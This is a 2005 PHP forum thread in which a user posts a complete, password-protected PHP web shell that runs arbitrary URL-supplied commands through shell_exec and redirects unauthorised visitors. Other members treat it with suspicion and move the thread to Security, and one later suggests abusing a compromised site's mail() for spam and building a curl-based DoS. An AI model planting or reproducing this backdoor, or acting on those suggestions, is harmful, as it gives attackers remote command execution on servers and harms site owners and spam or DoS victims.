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PHP Backdoor
Posted: Mon Mar 07, 2005 4:22 pm
by php_hacker
Hello guys,
I know some member may not support this topic, but i would like to know your suggestions about the project of making a PHP Backdoor.
I would like to know your techniques and ideas about this Backdoor just for knowledge.
I am also against such kind of things but sharing knowledge may protect us from future attacks.
Posted: Mon Mar 07, 2005 4:23 pm
by php_hacker
This is a sample of backdoor, but it need shell access enabled.
So webmasters having shared account will not have any problem..
Code: Select all
<?php
echo "<html>\n<head>\n<title>Don't let BWall find you using this.</title>\n";
$b = $_GET["cmd"];
$pass = $_GET["pwd"];
$optpre = $_GET["pre"];
if (MD5($pass) == "2ffe4e77321d9a7152f7016ea7aa5114")
{
echo "</head>\n<body bgColor=#000000 text=#FF0000>";
if ($optpre == "yes")
{
$output = shell_exec($b);
echo "<pre>$output</pre>";
}else
{
$output = shell_exec($b);
echo "$output";
}
}else
{
echo "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0; URL=http://\">\n";
echo "</head>\n<body bgColor=#000000 text=#FF0000>";
}
?>
</body>
</html>
I found this one long time back, but there maybe some backdoors which may run without shell access.
Posted: Mon Mar 07, 2005 4:36 pm
by Chris Corbyn
Hmmm.... I'm looking at your username... then at the question... then at your username.....
This probably more of a question for the PHP Security forum on this site but whether or not anybody will answer I dont know.
I think some guys will be a bit reluctant to answer this... it may well even be removed depending upon how the thread progresses

Posted: Mon Mar 07, 2005 5:20 pm
by feyd
considering the security hole that makes without any validation or verification (really) .. I'd say really really really bad.
Moved to Security.
Posted: Mon Mar 07, 2005 9:00 pm
by d3ad1ysp0rk
Who would allow users to send SHELL commands through the URL?
So far, I haven't found much of a need for shell commands at all in PHP. Most things can be done with PHP built in functions..
I wouldn't really call this a backdoor as much as a bad programmer.
Posted: Mon Mar 07, 2005 11:15 pm
by php_hacker
This PHP backdoor is useless stuff man.
It was just an idea to share my thoughts though.
Posted: Wed Mar 09, 2005 9:37 pm
by Ambush Commander
You're probably going to need shell access to do any real damage.
Although you could probably set up a DOS script using Curl or something if each script refers back to a configuration file (then whenever someone accesses the page, they send a hit somewhere.
What you could also do is abuse their mail() function, sending spam with a similar method.
A backdoor... that's going to be difficult though. Better off making it seem like you never got in at all. If you got in the first place, it's probably because of a bad password or something.